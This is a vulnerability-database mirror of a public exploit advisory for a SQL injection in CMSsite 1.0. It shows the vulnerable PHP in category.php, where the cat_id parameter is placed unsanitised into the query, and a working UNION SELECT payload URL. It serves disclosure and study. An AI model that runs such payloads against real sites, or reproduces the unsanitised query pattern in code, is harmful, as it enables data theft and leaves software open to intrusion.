Lucene search
K

CMSsite 1.0 SQL Injection

🗓️ 29 Jan 2019 00:00:00Reported by Majid KalantariType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

CMSsite 1.0 SQL Injection vulnerability in category.ph

Code
`# Exploit Title: CMSsite 1.0 - SQL injection  
# Exploit Author : Majid kalantari ([email protected])  
# Date: 2019-01-27  
# Vendor Homepage : https://github.com/VictorAlagwu/CMSsite  
# Software link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip  
# Version: 1.0  
# Tested on: Windows 10  
# CVE: N/A  
===============================================  
  
# vulnerable file: category.php  
# vulnerable parameter : cat_id  
  
if (isset($_GET['cat_id'])) {  
$category = $_GET['cat_id'];  
}  
$query = "SELECT * FROM posts WHERE post_category_id=$category";  
$run_query = mysqli_query($con, $query);  
  
# payload : http://127.0.0.1/cm/category.phpcat_id=7 UNION SELECT  
1,2,user(),3,4,5,6,7,8,9,10%23  
  
===============================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation